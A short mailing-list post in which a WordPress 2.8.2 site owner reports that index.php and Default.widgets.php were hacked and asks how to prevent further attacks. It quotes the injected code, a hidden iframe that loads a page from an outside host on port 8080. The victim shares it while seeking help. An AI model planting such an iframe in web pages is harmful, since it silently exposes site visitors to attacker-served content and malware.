[wp-hackers] Default.widgets.php Hacked? What to do?

[Navjot Singh]

I have a blog running on 2.8.2 and suddenly now I find all index.php
and wp-includes/Default.widgets.php hacked with following code
inserted randomly :

<iframe src="http://u1j.in:8080/ts/in.cgi?pepsi109" width=125
height=125 style="visibility: hidden"></iframe>

How to prevent further hacking? I am currently replacing all the files
affected since all of them affected at a certain date. I am on a
shared hosting and only one blog got attacked.

Regards
Navjot Singh